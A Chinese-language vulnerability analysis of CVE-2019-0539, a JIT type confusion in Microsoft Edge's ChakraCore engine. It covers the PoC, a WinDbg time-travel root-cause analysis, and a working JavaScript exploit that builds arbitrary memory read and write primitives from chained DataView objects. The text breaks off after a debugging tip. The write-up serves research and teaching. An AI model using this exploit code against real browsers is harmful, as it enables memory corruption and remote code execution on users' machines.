Microsoft Edge CVE-2019-0539 漏洞分析与利用

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前言

本文对Microsoft Edge的CVE-2019-0539漏洞进行了详细的分析,并利用漏洞实现完全的读写控制,最终实现RCE。

 

 

简介

微软在2019年1月的 Microsoft Edge Chakra Engine 更新修复了CVE-2019-0539漏洞。该漏洞和其他两个漏洞由Google Project Zero的Lokihardt 发现并报告。该漏洞可以通过访问恶意网页导致远程代码执行。正如Lokihardt所述,当Chakra JIT javascript编译器生成的代码不经意间发生了对象类型转换,并且错误地认为这种转换后续对该对象没有影响,这时就会发生类型混淆漏洞。Chakra开发团队的Abhijith Chatra在其博客中讲到,动态类型对象包含一个property map和一个slot array。property map用来掌握一个对象属性在slot array中的索引,而slot array则存储属性的真实数据。CVE-2019-0539会引发JIT代码的内存对象混淆,从而导致slot array指针被任意数据覆写。

 

漏洞根源分析

设置

设置好windows的ChakraCore漏洞版本:

https://github.com/Microsoft/ChakraCore/wiki/Building-ChakraCore

(在Visual Studio MSBuild命令提示符中)

c:code>git clone https://github.com/Microsoft/ChakraCore.git
c:code>cd ChakraCore
c:codeChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
c:codeChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug BuildChakra.Core.sln

Time Travel Debugging

本篇文章将使用TTD (Time Travel Debugging),微软官方文档介绍如下:

Time Travel Debugging是一款调试器工具,允许你记录正在运行进程的执行轨迹,然后向前、向后进行重放。 Time Travel Debugging (TTD) 可以让你“回放”调试器会话,而不必重新启动触发错误,从而帮助你更轻松的调试解决各种问题。

Microsoft Store下载安装最新版的Windbg。

运行时记得要以管理员身份运行。

1-1.jpg

根源分析

Poc:

function opt(o, c, value) {
    o.b = 1;
    class A extends c { // may transition the object
    }
    o.a = value; // overwrite slot array pointer
}
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o; // causes "class A extends c" to transition the object type
    opt(o, cons, 0x1234);
    print(o.a); // access the slot array pointer resulting in a crash
}
main();

利用TTD启动调试分析,直到其发生Crash然后执行如下命令:

0:005> !tt 0
Setting position to the beginning of the trace
Setting position: 14:0
(1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 14:0
ntdll!LdrInitializeThunk:
00007fff`03625640 4053            push    rbx
0:000> g
ModLoad: 00007fff`007e0000 00007fff`0087e000   C:WindowsSystem32sechost.dll
ModLoad: 00007fff`00f40000 00007fff`00fe3000   C:WindowsSystem32advapi32.dll
ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000   C:WindowsSystem32win32u.dll
ModLoad: 00007fff`00930000 00007fff`00ac7000   C:WindowsSystem32USER32.dll
ModLoad: 00007ffe`ff940000 00007ffe`ffada000   C:WindowsSystem32gdi32full.dll
ModLoad: 00007fff`02e10000 00007fff`02e39000   C:WindowsSystem32GDI32.dll
ModLoad: 00007fff`03420000 00007fff`03575000   C:WindowsSystem32ole32.dll
ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000   C:WindowsSystem32bcrypt.dll
ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000   C:WindowsSYSTEM32dbghelp.dll
ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000   C:WindowsSYSTEM32dbgcore.DLL
ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000   c:ppChakraCoreBuildVcBuildbinx64_debugchakracore.dll
ModLoad: 00007fff`011c0000 00007fff`011ee000   C:WindowsSystem32IMM32.DLL
ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000   C:WindowsSystem32kernel.appcore.dll
ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000   C:WindowsSYSTEM32Bcp47Langs.dll
ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000   C:WindowsSYSTEM32bcp47mrm.dll
ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000   C:WindowsSYSTEM32windows.globalization.dll
ModLoad: 00007ffe`ff010000 00007ffe`ff01c000   C:WindowsSYSTEM32CRYPTBASE.DLL
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 90063:0
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
0:004> ub
chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:ppchakracorelibruntimetypestypehandler.cpp @ 96]:
00007ffe`9cd1ec5d 488b442450      mov     rax,qword ptr [rsp+50h]
00007ffe`9cd1ec62 0fb74012        movzx   eax,word ptr [rax+12h]
00007ffe`9cd1ec66 8b4c2460        mov     ecx,dword ptr [rsp+60h]
00007ffe`9cd1ec6a 2bc8            sub     ecx,eax
00007ffe`9cd1ec6c 8bc1            mov     eax,ecx
00007ffe`9cd1ec6e 4898            cdqe
00007ffe`9cd1ec70 488b4c2458      mov     rcx,qword ptr [rsp+58h] // object pointer
00007ffe`9cd1ec75 488b4910        mov     rcx,qword ptr [rcx+10h] // slot array pointer
0:004> ba w 8 poi(@rsp+58)+10
0:004> g-
Breakpoint 1 hit
Time Travel Position: 9001D:178A
00000195`cc9c0159 488bc7          mov     rax,rdi

下面是最终阶段覆写slot array指针的JIT代码。注意chakracore!Js::JavascriptOperators::OP_InitClass的调用。正如Lokihardt解释的那样,这个函数最终将会调用SetIsPrototype,从而转换对象类型。

0:004> ub @rip L20
00000195`cc9c00c6 ef              out     dx,eax
00000195`cc9c00c7 0000            add     byte ptr [rax],al
00000195`cc9c00c9 004c0f45        add     byte ptr [rdi+rcx+45h],cl
00000195`cc9c00cd f249895e18      repne mov qword ptr [r14+18h],rbx
00000195`cc9c00d2 4c8bc7          mov     r8,rdi
00000195`cc9c00d5 498bcf          mov     rcx,r15
00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h
00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0)
00000195`cc9c00ec 48ffd0          call    rax
00000195`cc9c00ef 488bd8          mov     rbx,rax
00000195`cc9c00f2 498bd5          mov     rdx,r13
00000195`cc9c00f5 488bcb          mov     rcx,rbx
00000195`cc9c00f8 c60601          mov     byte ptr [rsi],1
00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h
00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object 
00000195`cc9c010f 48ffd0          call    rax
00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000    jne     00000195`cc9c01f7
00000195`cc9c011b 488bc3          mov     rax,rbx
00000195`cc9c011e 48c1e830        shr     rax,30h
00000195`cc9c0122 0f85eb000000    jne     00000195`cc9c0213
00000195`cc9c0128 4c8b6b08        mov     r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5          mov     rax,r13
00000195`cc9c012f 48c1e806        shr     rax,6
00000195`cc9c0133 4883e007        and     rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2            xor     edx,edx
00000195`cc9c0143 4c3b2cc1        cmp     r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000    jne     00000195`cc9c022f
00000195`cc9c014d 480f45da        cmovne  rbx,rdx
00000195`cc9c0151 488b4310        mov     rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610        mov     qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer

下面是在JIT代码调用OP_InitClass前的对象的内存dump。注意两个对象slots是如何在对象内存中内联(而不是存储在独立的slot array中)。

Time Travel Position: 8FE48:C95
chakracore!Js::JavascriptOperators::OP_InitClass:
00007ffe`9c674180 4c89442418      mov     qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030
0:004> dps 00000195`cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`ca3c1d40
00000195`cd274450  00010000`00000001 // inline slot 1
00000195`cd274458  00010000`00000001 // inline slot 2
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000000`00000000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000000`00000000
00000195`cd274490  00000000`00000000
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000

下面的调用栈表明OP_InitClass最终会调用SetIsPrototype,从而触发对象类型转换。这种转换导致两个slots不再内联,而是存储在slot array中。而且这种转换在随后会被JIT代码所忽略。

0:004> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:ppchakracorelibruntimetypestypehandler.cpp @ 755] 
01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:ppchakracorelibruntimetypesdynamicobject.cpp @ 591] 
02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:ppchakracorelibruntimetypespathtypehandler.cpp @ 1622] 
03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:ppchakracorelibruntimetypespathtypehandler.cpp @ 1598] 
04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:ppchakracorelibruntimetypespathtypehandler.h @ 297] 
05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:ppchakracorelibruntimetypespathtypehandler.cpp @ 2892] 
06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:ppchakracorelibruntimetypesdynamicobject.cpp @ 680] 
07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:ppchakracorelibruntimetypesrecyclableobject.cpp @ 190] 
08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:ppchakracorelibruntimetypesdynamictype.cpp @ 632] 
09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:ppchakracorelibruntimelanguagejavascriptoperators.cpp @ 7532] 
0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112

下面是OP_InitClass调用后,对象的内存dump。可以观察到,对象已经被转换并且两个slots不再内联。但是,后续的JIT代码仍然会认为slots是内联的。

Time Travel Position: 9001D:14FA
00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1 ds:0000018d`c8e72018=01
0:004> dps 00000195`cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00000195`cd2744c0 // slot array pointer (previously inline slot 1)
00000195`cd274458  00000000`00000000
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000195`cd277000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000195`cd073f60
00000195`cd274490  00000195`cd073f90
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000
0:004> dps 00000195`cd2744c0 // slot array
00000195`cd2744c0  00010000`00000001
00000195`cd2744c8  00010000`00000001
00000195`cd2744d0  00000000`00000000
00000195`cd2744d8  00000000`00000000
00000195`cd2744e0  00000119`00000000
00000195`cd2744e8  00000000`00000100
00000195`cd2744f0  00000195`cd074000
00000195`cd2744f8  00000000`00000000
00000195`cd274500  000000c4`00000000
00000195`cd274508  00000000`00000102
00000195`cd274510  00000195`cd074030
00000195`cd274518  00000000`00000000
00000195`cd274520  000000fb`00000000
00000195`cd274528  00000000`00000102
00000195`cd274530  00000195`cd074060
00000195`cd274538  00000000`00000000

下面是JIT错误地分配了属性值、覆写 slot array 指针后的对象内存dump:

0:004> dqs 00000195cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00010000`00001234 // overridden slot array pointer (CVE-2019-0539)
00000195`cd274458  00000000`00000000
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000195`cd277000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000195`cd073f60
00000195`cd274490  00000195`cd073f90
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000

最终,当访问一个对象的属性时,被覆写的 slot array 指针将会被取消引用,从而导致Crash

0:004> g
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????

思考

由于Windbg添加的TTD,简化了调试过程。具体而言就是指设置断点、反向运行程序直到覆写slot array指针的能力。这项功能确实展示了CPU跟踪和执行重建的能力,可用于软件调试以及逆向工程。

 

漏洞利用

简介

前文介绍了CVE-2019-0539漏洞的根源,本部分将继续研究如何实现完全的读写控制并最终实现RCE。这里需要重点注意的是:由于Microsoft Edge引入了沙箱技术,因此为完全破坏系统,我们需要一个额外的漏洞来实现沙箱逃逸。

这里,我们要感谢 Lokihardt 和 Bruno Keith 在这一领域的惊人研究成果,他们的研究成果对我们下文的研究具有重要价值。

漏洞利用

由上一章的分析可知,该漏洞让我们能够实现覆写 javascript 对象的slot array指针。借鉴Bruno Keith在BlackHat 2019 上提出的奇妙的研究成果,我们可以得知,在Chakra中,javascript 对象(o={a: 1, b: 2};)是在Js::DynamicObject类中实现的,且可能有不同的内存布局,其属性 slot array 指针被称之为auxSlots。从DynamicObject类定义(位于libRuntimeTypesDynamicObject.h)中,可以得知Bruno 所讨论的三种可能的内存布局规范:

// Memory layout of DynamicObject can be one of the following:
//        (#1)                (#2)                (#3)
//  +--------------+    +--------------+    +--------------+
//  | vtable, etc. |    | vtable, etc. |    | vtable, etc. |
//  |--------------|    |--------------|    |--------------|
//  | auxSlots     |    | auxSlots     |    | inline slots |
//  | union        |    | union        |    |              |
//  +--------------+    |--------------|    |              |
//                      | inline slots |    |              |
//                      +--------------+    +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.

因此,一个对象只可能有以下三种情况:

  1. 拥有一个auxSlots指针、没有内联slots (#1)
  2. 拥有一个内联slots但没有auxSlots指针(#3),
  3. 同时拥有一个auxSlots指针、一个内联slots(#2)

CVE-2019-0539 PoC中,对象o以(#3)形式的内存布局开始其生命周期。然后,当JIT代码最后一次调用OP_InitClass函数时,对象o的内存布局就变更为(#1)。JIT代码在调用OP_InitClass函数之前和之后关于o的精确内存布局如下:

    Before:                              After:
+---------------+                   +--------------+   +--->+--------------+
|    vtable     |                   |    vtable    |   |    |    slot 1    | // o.a
+---------------+                   +--------------+   |    +--------------+
|     type      |                   |     type     |   |    |    slot 2    | // o.b
+---------------+                   +--------------+   |    +--------------+
| inline slot 1 | // o.a            |   auxSlots   +---+    |    slot 3    |
+---------------+                   +--------------+        +--------------+
| inline slot 2 | // o.b            |  objectArray |        |    slot 4    |
+---------------+                   +--------------+        +--------------+

OP_InitClass调用前,o.a位于第一个内联slot中;调用后,它位于slot 1auxSlots数组中。因此,正如在上述漏洞根源分析中提到的,JIT代码试图用0x1234来更新位于第一个内联slot中的o.a,但是它并不知道对象的内存布局已经发生了改变,因而它实际覆写了auxSlots指针。

现在,为了利用漏洞实现完全读写原语,参照Bruno的研究,我们需要破坏一些其他有用的对象,并以此实现内存中的任意地址读写。首先,我们需要更好地理解该漏洞的利用价值。当我们覆写DynamicObjectauxSlots指针时,我们就可以“处理”放入auxSlots中的内容来作为auxSlots array。因此举例而言,如果我们利用该漏洞将auxSlots指向一个JavascriptArray,如下所示:

some_array = [{}, 0, 1, 2];
...
opt(o, cons, some_array); // o->auxSlots = some_array

然后,我们可以通过赋予o属性来覆写some_array JavascriptArray对象内存。使用漏洞覆盖后的auxSlots内存状态图如下所示:

      o                        some_array
+--------------+   +--->+---------------------+
|    vtable    |   |    |       vtable        | // o.a
+--------------+   |    +---------------------+
|     type     |   |    |        type         | // o.b
+--------------+   |    +---------------------+
|   auxSlots   +---+    |      auxSlots       | // o.c?
+--------------+        +---------------------+
|  objectArray |        |     objectArray     | // o.d?
+--------------+        |- - - - - - - - - - -|
                        |      arrayFlags     |
                        |  arrayCallSiteIndex |
                        +---------------------+
                        |       length        | // o.e??
                        +---------------------+
                        |        head         | // o.f??
                        +---------------------+
                        |    segmentUnion     | // o.g??
                        +---------------------+
                        |        ....         |
                        +---------------------+

因此,理论而言,如果我们想要覆写数组的长度,我们可以通过类似o.e = 0xFFFFFFFF的操作,然后使用some_array[1000]来从数据基址区访问一些远程地址。但是,这里有几点需要考虑的问题:

  1. 除了ab以外的其他属性都未定义。这意味着要想实现右侧sloto.e的定义,我们首先需要分配其他的所有属性,这样的操作会破坏更多的内存,导致数组无法使用。
  2. 原始的auxSlots array并不够大。它初始仅分配了4个slots。如果我们定义更多的属性,Js::DynamicTypeHandler::AdjustSlots函数会分配一个新的slots array,并将auxSlots指向它,而不是我们的JavascriptArray对象。
  3. 我们原计划在JavascriptArray对象的length字段中放入的0xFFFFFFFF数值并不会被如期写入。Chakra使用所谓的标记数字,因此将要写入的数字将会是boxed(更多解释请参照Chartra的文章
  4. 即便我们能够在避免破坏其余内存的同时,将length字段覆写为较大数值。这也只会给我们一个“相对的”读写原语(相对于数组基址),比起完全的读写原语这显然是不够强大的。
  5. 实际上,覆写JavascriptArraylength字段并不是很有用的,它也不会得到我们期望实现的相对读写原语。在这种特殊情况下需要做的就是破坏array的段大小,这里不会详细探讨。尽管如此,让我们假设覆写length字段是有用的,因为它很好地展示了漏洞利用的微妙之处。

因此,我们需要一些特殊的技巧来克服上述问题。我们先来讨论问题1和2。首先想到的就是在漏洞触发前,在o对象中提前预定义更多的属性。然后,当覆写auxSlots指针时,我们已经在正确的slot中定义了o.e,该slot对应于数组的length字段。不幸的是,当增加更多的属性时,会发生以下两种情况之一:

  • 我们过早的更改了内存对象布局(#1),从而阻止了漏洞发生,因为不再有机会覆写auxSlots指针。
  • 我们创建了更多的内联slots,并且在漏洞触发后仍然保持内联。该对象最终布局(#2),有大量的属性位于新的内联slots中。因此在所谓的auxSlots arraysome_array对象内存中,我们仍然无法做到多于2个slot

Bruno Keith在他的演讲中提出了一个巧妙的方法来同时解决问题1和2。我们首先破坏预先准备好的具有多个属性的另一个DynamicObject,而不是直接破坏目标对象(我们示例中的JavascriptArray),其已经在内存布局中(#1)。

obj = {}
obj.a = 1;
obj.b = 2;  
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

some_array = [{}, 0, 1, 2];
...

opt(o, cons, obj); // o->auxSlots = obj

o.c = some_array; // obj->auxSlots = some_array

我们观察一下在执行o.c = some_array;前后的内存状态:

Before:
       o                      obj
+--------------+   +--->+--------------+        +->+--------------+
|    vtable    |   |    |    vtable    | //o.a  |  |    slot 1    | // obj.a
+--------------+   |    +--------------+        |  +--------------+ 
|     type     |   |    |     type     | //o.b  |  |    slot 2    | // obj.b
+--------------+   |    +--------------+        |  +--------------+ 
|   auxSlots   +---+    |   auxSlots   +--------+  |    slot 3    | // obj.c
+--------------+        +--------------+           +--------------+ 
|  objectArray |        |  objectArray |           |    slot 4    | // obj.d
+--------------+        +--------------+           +--------------+ 
                                                   |    slot 5    | // obj.e
                                                   +--------------+ 
                                                   |    slot 6    | // obj.f
                                                   +--------------+ 
                                                   |    slot 7    | // obj.g
                                                   +--------------+
                                                   |    slot 8    | // obj.h
                                                   +--------------+
                                                   |    slot 9    | // obj.i
                                                   +--------------+
                                                   |    slot 10   | // obj.j
                                                   +--------------+

After:
       o                      obj                        some_array
+--------------+   +--->+--------------+        +->+---------------------+
|    vtable    |   |    |    vtable    | //o.a  |  |       vtable        | // obj.a
+--------------+   |    +--------------+        |  +---------------------+
|     type     |   |    |     type     | //o.b  |  |        type         | // obj.b
+--------------+   |    +--------------+        |  +---------------------+
|   auxSlots   +---+    |   auxSlots   +-//o.c--+  |      auxSlots       | // obj.c
+--------------+        +--------------+           +---------------------+
|  objectArray |        |  objectArray |           |     objectArray     | // obj.d
+--------------+        +--------------+           |- - - - - - - - - - -|
                                                   |      arrayFlags     |
                                                   |  arrayCallSiteIndex |
                                                   +---------------------+
                                                   |       length        | // obj.e
                                                   +---------------------+
                                                   |        head         | // obj.f
                                                   +---------------------+
                                                   |    segmentUnion     | // obj.g
                                                   +---------------------+
                                                   |        ....         |
                                                   +---------------------+

此时,执行obj.e = 0xFFFFFFFF实际上会替换some_array对象的length字段。然而,问题3中提到,这个数值并不会如期原样写入,而是以其boxed形式写入。即便我们忽略问题3,问题4和5仍然会导致我们选择的对象失效。因此,我们应该选择另外一个对象进行破坏。Bruno在他的漏洞利用中巧妙地使用了ArrayBuffer对象,但不幸的是,在提交cf71a962c1ce0905a12cb3c8f23b6a37987e68df(10月份的1809合并更新)中,ArrayBuffer对象的内存布局发生了改变。它没有直接指向数据缓冲区,而是通过bufferContent字段指向一个名为RefCountedBuffer的中间结构,只有该结构指向实际的数据。因此,需要不同的解决方法。

最终,我们提出破坏DataView对象的想法,该对象实际上在内部使用了ArrayBuffer。因此,它具备与使用ArrayBuffer相同的优点,并且它直接指向ArrayBuffer的底层数据缓冲区。这里是被ArrayBuffer初始化的DataView对象的内存布局(v = new DataView(new ArrayBuffer(0x100));)。

                                                                                             actual
      DataView                       ArrayBuffer                                             buffer
+---------------------+   +--->+---------------------+            RefCountedBuffer      +--->+----+
|       vtable        |   |    |       vtable        |   +--->+---------------------+   |    |    |
+---------------------+   |    +---------------------+   |    |       buffer        |---+    +----+
|        type         |   |    |        type         |   |    +---------------------+   |    |    |
+---------------------+   |    +---------------------+   |    |      refCount       |   |    +----+
|      auxSlots       |   |    |      auxSlots       |   |    +---------------------+   |    |    |
+---------------------+   |    +---------------------+   |                              |    +----+
|     objectArray     |   |    |     objectArray     |   |                              |    |    |
|- - - - - - - - - - -|   |    |- - - - - - - - - - -|   |                              |    +----+
|      arrayFlags     |   |    |      arrayFlags     |   |                              |    |    |
|  arrayCallSiteIndex |   |    |  arrayCallSiteIndex |   |                              |    +----+
+---------------------+   |    +---------------------+   |                              |    |    |
|       length        |   |    |      isDetached     |   |                              |    +----+
+---------------------+   |    +---------------------+   |                              |    |    |
|     arrayBuffer     |---+    |     primaryParent   |   |                              |    +----+
+---------------------+        +---------------------+   |                              |    |    |
|     byteOffset      |        |     otherParents    |   |                              |    +----+
+---------------------+        +---------------------+   |                              |    |    |
|       buffer        |---+    |     bufferContent   |---+                              |    +----+
+---------------------+   |    +---------------------+                                  |    |    |
                          |    |     bufferLength    |                                  |    +----+
                          |    +---------------------+                                  |
                          |                                                             |
                          +-------------------------------------------------------------+

正如所示,DataView对象指向了ArrayBuffer对象。ArrayBuffer指向了前面提到的RefCountedBuffer对象,后者又指向了内存中的实际数据缓冲区。然而,观察到DataView对象也指向了实际数据缓冲区。如果我们覆写DataView对象的缓冲区字段为我们的指针,我们则会根据所需得到所需的绝对读写原语。我们的障碍只剩问题3了——我们无法用已被破坏的DynamicObject来在内存中写入普通数字(被标记的数字…)。但现在,由于DataView对象允许我们在其指向的缓冲区内写入普通数字(详细信息可参考DataView “API” )。再次受到Bruno的启发,我们有两个DataView对象,其中第一个指向第二个,至此我们清楚地知道下一步的破坏方式。这将解决最后一个问题,并且给予我们想要的绝对读写原语。

让我们回看整个漏洞利用过程。可以参考下面的说明(省略了我们不关心的对象)

       o                  obj                     DataView #1 - dv1                   DataView #2 - dv2
+--------------+ +->+--------------+        +->+---------------------+          +->+---------------------+  +--> 0x????
|    vtable    | |  |    vtable    | //o.a  |  |       vtable        | //obj.a  |  |       vtable        |  |       
+--------------+ |  +--------------+        |  +---------------------+          |  +---------------------+  |       
|     type     | |  |     type     | //o.b  |  |        type         | //obj.b  |  |        type         |  |       
+--------------+ |  +--------------+        |  +---------------------+          |  +---------------------+  |       
|   auxSlots   +-+  |   auxSlots   +-//o.c--+  |      auxSlots       | //obj.c  |  |      auxSlots       |  |       
+--------------+    +--------------+           +---------------------+          |  +---------------------+  |       
|  objectArray |    |  objectArray |           |     objectArray     | //obj.d  |  |     objectArray     |  |       
+--------------+    +--------------+           |- - - - - - - - - - -|          |  |- - - - - - - - - - -|  |       
                                               |      arrayFlags     |          |  |      arrayFlags     |  |       
                                               |  arrayCallSiteIndex |          |  |  arrayCallSiteIndex |  |       
                                               +---------------------+          |  +---------------------+  |       
                                               |       length        | //obj.e  |  |       length        |  |       
                                               +---------------------+          |  +---------------------+  |       
                                               |     arrayBuffer     | //obj.f  |  |     arrayBuffer     |  |       
                                               +---------------------+          |  +---------------------+  |       
                                               |     byteOffset      | //obj.g  |  |     byteOffset      |  |       
                                               +---------------------+          |  +---------------------+  |       
                                               |       buffer        |-//obj.h--+  |       buffer        |--+//dv1.setInt32(0x38,0x??,true);
                                               +---------------------+             +---------------------+   //dv1.setInt32(0x3C,0x??,true);
  1. 触发漏洞将'o'auxSlots设置为'obj'(opt(o, cons, obj);)
  2. oobj设置为第一个DataView (o.c = dv1;)
  3. obj设置第一个DataView('dv1')缓冲区字段为第二个DataView对象(obj.h = dv2;)
  4. 用第一个DataView对象dv1来准确地将第二个DataView对象dv2的缓冲区字段设置为我们选择的地址(dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);)。注意我们是如何将选择的地址(0xDEADBEEFDEADBEEF)写入dv2缓冲区字段的精确偏移处(0x38)。
  5. 用第二个DataView对象dv2来读写我们选择的地址(dv2.getUint32(0, true); dv2.getUint32(4, true);
    重复执行步骤4和5来执行我们的读写操作。

下面就是完全读写原语的代码:

// commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, c, value) {
    o.b = 1;

    class A extends c {}

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, obj); // o->auxSlots = obj (Step 1)

    o.c = dv1; // obj->auxSlots = dv1 (Step 2)

    obj.h = dv2; // dv1->buffer = dv2 (Step 3)

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }

    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(0, value_hi, true);
    }

    // get dv2 vtable pointer
    vtable_lo = dv1.getUint32(0, true);
    vtable_hi = dv1.getUint32(4, true);
    print(hex(vtable_lo + vtable_hi * BASE));

    // read first vtable entry using the RW primitive
    print(hex(read64(vtable_lo, vtable_hi)));

    // write a value to address 0x1111111122222222 using the RW primitive (this will crash)
    write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}

main();

注意:如果想要调试自己的代码(例如WinDBG),一个很便捷的方法就是使用”instruments”来断在感兴趣的JS代码处。可参考一下两条有用的建议:

  • ch!WScriptJsrt::EchoCallback设置断点从而阻止print()调用
